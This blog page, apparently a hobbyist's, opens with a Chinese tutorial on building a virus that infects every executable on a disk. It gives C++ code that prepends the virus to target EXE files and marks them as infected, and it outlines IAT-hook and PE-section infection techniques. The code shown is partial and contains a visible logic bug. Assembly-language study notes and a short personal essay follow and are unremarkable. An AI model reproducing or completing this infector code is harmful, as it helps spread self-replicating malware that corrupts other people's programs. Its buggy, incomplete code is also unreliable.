【CPP入坑】简单的几种全盘感染程序以及实现

//不知怎得突然就喜欢上了这些。于是就打算练手了。
//不得不说VS是真的好用,除了对我来说略卡(原因是因为我电脑配置实在低


正文

首先,我们现需要做什么,先罗列出大致步骤

  1. 遍历文件,搜索全盘可执行的exe文件
  2. 在文件中插入我们的恶意代码,并且让恶意代码拥有自动复制的功能
  3. 没了

确实一个全盘感染程序逻辑基本就这么简单。
我们先抛开1,因为1非常好实现。我们就先来说说2的实现方式。


感染方式:文件更添

首先是最LOW但是也是最最最简单的方式。
直接把病毒程序添加到被感染程序的头部,这样别人点击我们的程序时就会优先启动我们的。
当然只填充是不行的,还要让程序正常的执行。
这样就得在我们的程序的时候读取自身。然后寻找第二个MZ标识。
然后把第二个MZ表示写出,或者是在内存中创建映射然后执行。
这样程序就会优先执行我们的感染体,然后再执行咯。
部分代码如下:
Inject.cpp

//cpp
void InjectExec(char *FilePath){
char selfP[128];
int AllSize = 0;
GetModuleFileNameA(NULL, selfP, 128);
char *s1 = ReadF(selfP);//获取自身
int t1 = tmpSize;
char *buffer1 = (char*)malloc((int)tmpSize);//要把函数中的指针的值给取出来,否则会被分配掉
RtlMoveMemory(buffer1,s1,tmpSize);
int tmp =0;
if (buffer1[tmpSize - 1] == *"X"){
    bool x = true;
    do {
        
        if (x == true && buffer1[tmpSize-tmp]==*"X"){
            tmp += 1;
        }
        else{
            x = false;
            break;
        }

    } while (tmp < 5);//连续5次都是X,确认为标识符
    if (x = true){ return; }//已经感染过了,跳过
}
s1 = ReadF(FilePath);//获取被感染文件
int t2= tmpSize;
char *buffer2 = (char*)malloc((int)tmpSize);//同上
RtlMoveMemory(buffer2, s1, tmpSize);
AllSize = t1 + t2 + 5 ;
char *s = (char*)malloc((int)AllSize);
int i, i2,i3;
for (i = 0; i <= t1; i++){s[i] = buffer1[i];}
for (i2 = 0; i2 <= t2; i2++){ s[i + i2] = buffer2[i2]; }
for (i3 = 0; i3 <= 5; i3++){ s[i + i2 + i3] = *"X"; }//添加标识符
WriteF(FilePath,s,AllSize);//写出

}

方法优劣:
简单,快速,缺点就是容易恢复,而且修改面积大(在一个程序中添加了整整另外一个程序,非常容易看出来


感染方式二:IAT HOOK

PE文件结构中有一个是包含导入表,用PEiD就可以看到,包含着这个程序所需要使用的DLL。
我们只需要在这个表中添加我们自带的病毒DLL,就算程序用不引用也行。
这个方案更多用于内存注入而不是全盘感染
因为模块在载入内存空间时会默认引用一个DLL的析构程序,我们只需要把病毒的部分在析构程序中调用即可
著名的lpk.dll病毒虽然不是利用IAT HOOK,但是也是利用IAT表中的引用顺序漏洞,优先引用了本地路径的lpk文件而不是windir目录的,导致同目录Lpk病毒文件得以加载
相关文档:

  1. IAT Hook的原理
  2. API HOOK的 IAT方法

代码如下

//同样懒得写了,过几天再给出CPP的吧,不过我有发过python版本的IAT HOOK 

python-IAT HOOK

方法优劣:
虽然对程序的修改少了,但是在每个目录下都会添加一个dll十分显眼,就算把dll丢到环境变量中,传播时只复制被感染文件不复制dll文件也达不到传播效果了。


感染方案三:PE空隙插入

(前面两个只是正好说的,今天的主菜其实是这个XD
感染方式,就是在PE文件中添加新节,熟悉汇编的都知道,PE文件都分为代码段,数据段等等。
我们只需要修改PE文件,在里面加入一段新节。

1:将添加的代码写到目标PE文件中,可以把这个代码插入原代码所处的的section的空隙中,也可以通过添加一个新的section附在原文件的尾部
2:PE文件原来的入口地址必须被保存在添加的代码中,这样,这段代码执行完以后可以转移到原始文件处执行
3:PE文件头中的入口地址需要被修改,指向新添加代码中的入口地址
4:PE文件头中的一些值需要根据情况做相应的修改,以符合修改后的PE文件的情况。

其中,我们要拥有的技术有什么呢?

  • 编写“病毒代码”
  • 读入原入口点
  • 修改PE文件入口点
  • 添加新section或在section中插入代码
    了解了这些我们就开始吧。

相关文章:

(因为这个是汇编版,所以我得先填坑成CPP版

//未完待续,正在填坑(同时肛舰女人中XD

Tags: 汇编, C++, cpp, win32

[汇编]学习笔记

//不知不觉2017了,看着博客发布日期是2016-07-15.

相关文档


汇编指令基础

DIV

div有毒,除数是8位,被除数就得是16位。被除数是16位,除数就得是32位。

div word/byte ptr [ax]

8位情况下,al存商,ah存余数。16位情况下ax存商,dx,存余数。

dw,db,dd

等于开辟内存,dw是开辟4位,称呼为1字。db是2位,称呼为1字节。dd为8位,顾名思义,双字。
db 1 = 01 , dw 1 = 0001 , dd 1 = 00000001

各个寄存器作用

  1. cs,都名思意,Codesegment
  2. ds,也是很容易理解,数据段寄存器
  3. ss,栈寄存器
  4. 通用寄存器有好多,ax,bx,cx,dx,si,di,其中,ax,bx,cx,dx可以分为两个8位寄存器位[]h(igh)高位和[]l(ow),储存八位数据
  5. bp,和ss联用,BP为基址指针,作为校准使用,一般用途是[sp+bp]( 其实是存取某时刻的栈顶指针,以方便对栈的操作,如获取函数参数、局部变量等。
  6. ip,和cs联用,指向下一步执行代码段的地址
  7. sp,和ss联用,一直指向栈顶的指针,pop为sp+=2,push为sp-=2,ss为空时sp指向0,如果push或者pop过多会溢出或者越位,危险!
  8. ES,附加段寄存器,和di寄存器相关联使用,一般是es:di

寻址方式

debug下可以直接[idata],但是在MASM下会忽略[],直接传送数字去了,而不是指向地址的值,[ 0 ]除外。想要那样寻址,一般可以使用 ds : [偏移地址]

jmp

  • jmp short 标号 : 段内短转移,对IP的范围为(-128~127)
    ,并不是通过段:偏移地址来跳转,而是计算目前这条语句到跳转语句的偏移地址来跳转,所以说CPU并不会知道要跳转的地址,而是只知道距离要跳转的地址有多少个字节来跳转
  • jmp near ptr : 段内近转移,范围(-32769~32767),16位位移
  • jmp far ptr : 会连CS:IP一起修改

jcxz,loop

条件转移 jcxz 标号,有条件转移,只有在CX为0时才会转移。当CX!=0时,程序将继续执行下面的指令。这样看来的话,loop指令其实也是一个条件转移指令,每次loop,cx递减1,直到cx为0时跳出循环。注:标号均为8位,范围为-128~127

ret,retf

ret是跳转前的指令,把IP压入读出栈,之后sp-=2,相当于POP IP
retf同等,之不过多了CS,差不多等于POP CS;SP-=2,POP IP;SP-=2

Call指令

Call 标号 ,把当前IP,push入栈之后,跳转到标号地址执行
执行过程为:sp-=2;((ss)x16)+sp = IP#把IP压入栈;IP=IP+16位位移
因为跳转是计算位移而不是更具物理地址跳转,所以16位位移地址 = 标号地址 - call指令之后的第一个地址
因为是16位,所以范围是-32768~32767

标志寄存器

  • ZF 判断结果是否为0,执行结果为0,则ZF为1,反之
  • PF 判断奇偶,偶数为1,基数为0
  • SF 符号寄存器,判断是否带符号。
  • CF 进位或者结尾标志,debug中,NC为没进位,CY为进位,对于无符号数来说才会存在
  • OF 溢出标志位,对于有符号数来说才会存在
  • DF 方向标志位,DF=0,si di都会递减,DF=1,si di都会递增
  • TF 用来检测单步中断,如果TF=1则产生中断

ADC,SBB指令

  • adc,才不是射手呢(doge)带进位加法指令,adc ax,bx 相当于 ax = ax + bx +CF
  • SBB,有加法当然就有减法,带进位减法指令

cmp指令

对比指令,cmp a,b == a-b,只不过不记录结果
这时候我们可以看ZF位就可以进行对比,PF可以判断奇偶,看CF来判断两个大小,但是还要关注SF和OF来判断是否有溢出/进位

检测比较结果的转移指令

  • je,等于则转移 ZF=1
  • jne,不等则转移 ZF=0
  • jb,低于则转移 CF=1
  • jnb,不低于则转移 CF=0
  • ja, 高于则转移 CF=0 ZF=0
  • jna, 不高于则转移 CF=1 或ZF=1

movsb,movsw

功能是将ds:si中的内存单元指向es:di中然后更具DF进行sidi的递增或者递减
(果然我们计算机中的数据都是sb么2333
传送一个字就是movsw,区别就是每次递增或者递减sidi+-=2
可以配合rep指令使用,rep是更具CX重复执行指令

cld,std

有了上面那些,当然要对DF进行操作啦,然而肯定不能用ADD的说。所以就有了cld和std
cld 让DF=0,std让DF=1

CPU调用中断指令

也相当于执行N号中断

  1. 取中断类型码N
  2. push IF,TF
  3. push CS,IP
  4. IP=N4 CS=N4+2

lea

lea指令,格式:lea 目的寄存器,源操作数
作用:将源操作数的地址偏移量保存到目的寄存器中。学习lea指令可以和mov指令一起来记,他们格式相同,但mov指令是将操作数指向的内存中的数据保存到目的寄存器。

函数调用方式

//作用范围为VC++

  1. 首先是在上层函数,在调用函数之前,会先把参数从左到右push进栈
  2. 然后执行call函数,其中call函数又会隐藏触发一个压栈操作,会把IP压入栈
  3. 然后到了被调用函数,会先push ebp,把主函数的ebp保存
  4. 之后mov ebp,esp 更新EBP寄存器的值,更新完成后,被调用函数即可以使用EBP定位它的函数参数和局部变量
  5. 之后esp-00C,创建一片内存空间来保存函数状态
  6. 之后保存上层函数的ebx,esi,edi
  7. 之后在附加段寄存器创建一片空间(创建方式是为ECX赋值然后用rep stos循环写入
  8. 之后开始函数操作
  9. return操作其实是把值传给eax
  10. pop edi,esi,ebx
  11. mov esp,ebp 调整栈顶指针,使esp指向保存有main函数EBP的地址处,为恢复main函数ebp做准备
  12. pop ebp 正式恢复main函数的ebp
  13. ret 会触发一次栈出操作,会把最开始Call压入的IP弹出,然后程序开始执行IP所指向的地址
Tags: 学习笔记

随笔

序章

世界上99的人们,都在不停重复着做着同样亦或者是类似的事。
不如说,不只是人类,动物,亦或者是远在太空的各种行星也是。
大到活着-死亡。小到进食,睡觉,捕猎,学习等等。
一切都是一个圆圈,不停着重复着。
人类能进化到现在,只不过是在不断扩大圆圈的体积,但是归根结底,圆圈还是圆圈,依旧不能成为线条活着其他形状。
这个圆圈停了,还有下一个圆圈又开始新的画笔。
所以我在想,这样只有圆圈的世界,能有什么意义呢?


待续...

Tags: 自演乙, 博主脑残ing, 闲得蛋疼
Title - Artist
0:00